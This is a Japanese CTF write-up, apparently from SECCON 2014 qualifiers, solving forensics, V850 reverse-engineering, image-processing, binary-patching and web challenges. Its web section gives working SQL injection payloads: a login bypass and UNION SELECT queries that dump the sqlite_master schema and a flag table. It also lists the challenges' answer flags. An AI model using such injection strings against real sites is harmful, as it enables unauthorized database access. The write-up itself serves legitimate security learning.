binwalkの情報が間違っていて(?)、0x3A232から切り取ると伊原秀明氏(http://port139.hatenablog.com/)の判子の画像がある。EXIF情報に書かれている日付がflag。

% exiftool a.tiff
ExifTool Version Number         : 9.60
File Name                       : a.tiff
Directory                       : .
File Size                       : 4.0 kB
File Modification Date/Time     : 2014:07:20 15:13:04+09:00
File Access Date/Time           : 2014:07:20 15:13:56+09:00
File Inode Change Date/Time     : 2014:07:20 15:13:04+09:00
File Permissions                : rw-r--r--
File Type                       : JPEG
MIME Type                       : image/jpeg
Exif Byte Order                 : Little-endian (Intel, II)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : F6 Exif Version 0.9.0b
Artist                          : hihara
Exif Version                    : 0210
Date/Time Original              : 2012:05:23 13:29:00
Components Configuration        : Y, Cb, Cr, -
Exif Image Width                : 40
Exif Image Height               : 40
Compression                     : JPEG (old-style)
Thumbnail Offset                : 326
Thumbnail Length                : 986
JFIF Version                    : 1.01
Image Width                     : 40
Image Height                    : 40
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 40x40
Thumbnail Image                 : (Binary data 986 bytes, use -b option to extract)
2012:05:23 13:29:00

バイナリ

x86アセンブラを読もう
my $ret = 0;
for my $i (1..0xff) {
    $ret += $i;
}
print $ret - 2;
32638
ダンプを追え!

dump.binの中身を見るとV850という文字列が紛れ込んでいる。V850はマイコンの一種。
V850用のbinutilsをビルドしておく。

% wget https://ftp.gnu.org/gnu/binutils/binutils-2.24.tar.gz
% ./configure --target=v850-nec-elf
% make

objdumpした結果とencrypt.nmを照らし合せた: https://gist.github.com/akiym/e0703949aa0615cbc1e6

_proc:
 146:	03 1e e8 ff 	addi	-24, sp, sp
 14a:	20 56 40 00 	movea	64, r0, r10
 14e:	40 3e 00 00 	movhi	0, r0, r7
 152:	63 ff 15 00 	st.w	lp, 20[sp]
 156:	63 57 11 00 	st.w	r10, 16[sp]
 15a:	27 3e 3c 16 	movea	5692, r7, r7    ; _etext section
 15e:	03 46 10 00 	addi	16, sp, r8
 162:	bf ff 88 ff 	jarl	0xea, lp        ; _read_data
 166:	23 77 11 00 	ld.w	16[sp], r14
 16a:	ca 66 ff 00 	andi	255, r10, r12
 16e:	00 6a       	mov	0, r13
 170:	95 15       	br	0x192
 172:	40 56 00 00 	movhi	0, r0, r10
 176:	2a 56 3c 16 	movea	5692, r10, r10  ; _etext section
 17a:	cd 51       	add	r13, r10
 17c:	0a 5f 00 00 	ld.b	0[r10], r11
 180:	41 6a       	add	1, r13
 182:	2c 59       	xor	r12, r11
 184:	cc 61       	add	r12, r12
 186:	0c 66 11 00 	addi	17, r12, r12
 18a:	4a 5f 00 00 	st.b	r11, 0[r10]
 18e:	cc 66 ff 00 	andi	255, r12, r12
 192:	ee 69       	cmp	r14, r13
 194:	f6 ed       	blt	0x172
 196:	23 ff 15 00 	ld.w	20[sp], lp
 19a:	03 1e 18 00 	addi	24, sp, sp
 19e:	7f 00       	jmp	[lp]
my @etext = (0x63, 0x17, 0x86, 0xD8, 0x34, 0xF9, 0x06, 0x8C, 0x9B, 0x80, 0x9D, 0x96, 0xD7, 0xDA, 0xDF, 0x92);

my $r12 = 37;
for my $c (@etext) {
    print chr($c ^ $r12);
    $r12 += $r12;
    $r12 += 17;
    $r12 &= 0xff;
}

r12の初期値は_procを見るだけではわからない。面倒だったのでflagのフォーマットがFLAG{...}であるため、0x63 ^ ord('F')がr12の初期値だと推測した。

FLAG{Victory850}

プログラミング

重ねてみよう

GIFアニメ画像を分解

% convert +adjoin in.gif out.gif

白黒反転させて、白を透過色にする。

% convert -negate in.gif out.gif
% convert -transparent white in.gif out.gif

画像を重ねる。

% convert in1.gif in2.gif -composite out.gif

あとはスクリプトに落として、49枚の画像に対して処理をする。生成された画像はQRCodeになっているので、読み取る。

FLAG{Many dot makes a QR code}
あみだくじ

https://gist.github.com/akiym/335ae9083687d2169caf

pwntoolsというライブラリを使っているので、実際に動作させるときには注意。

あみだくじを解くと毎回sleepするので、1000回解くには自動で解いても少し時間がかかる。この問題はx64バイナリでstatic linkされているのでsleepを潰すにはバイナリの中のnanosleepのsyscallを潰せば良い。

  47ff39:       b8 23 00 00 00          mov    eax,0x23
  47ff3e:       0f 05                   syscall
  47ff40:       48 3d 01 f0 ff ff       cmp    rax,0xfffffffffffff001
  47ff46:       0f 83 e4 41 fd ff       jae    0x454130
  47ff4c:       c3                      ret
  47ff4d:       48 83 ec 08             sub    rsp,0x8
  47ff51:       e8 4a 27 fd ff          call   0x4526a0
  47ff56:       48 89 04 24             mov    QWORD PTR [rsp],rax
  47ff5a:       b8 23 00 00 00          mov    eax,0x23
  47ff5f:       0f 05                   syscall

これで5秒くらいで解けるようになる。

FLAG{c4693af1761200417d5645bd084e28f0f2b426bf}

Web

箱庭SQLiチャレンジ

スタンダードなSQLi問題。考える必要がない。

'or'1
'union select group_concat(sql),1,1,1,1 from sqlite_master--
'union select flag,1,1,1,1 from seccon--
FLAG{EnjoySQLi}
箱庭XSSリターンズ

メンバーのlmt_swallowによるSECCON 2013 オンライン予選の箱庭XSS Finalのwriteupを参考にした: https://gist.github.com/lmt-swallow/03170ca9c079e2ea555a
ほとんど前回と同じように解けるが、今回は20回XSSさせないといけないので、少し工夫して解く必要があった。

https://gist.github.com/akiym/9c9f903d824fddcaf2c8

FLAG{dbe6Z7bdbpa3e7cdcccc5c0}

(途中点)

FLAG{OO3auUR7e8712af065dBa6F}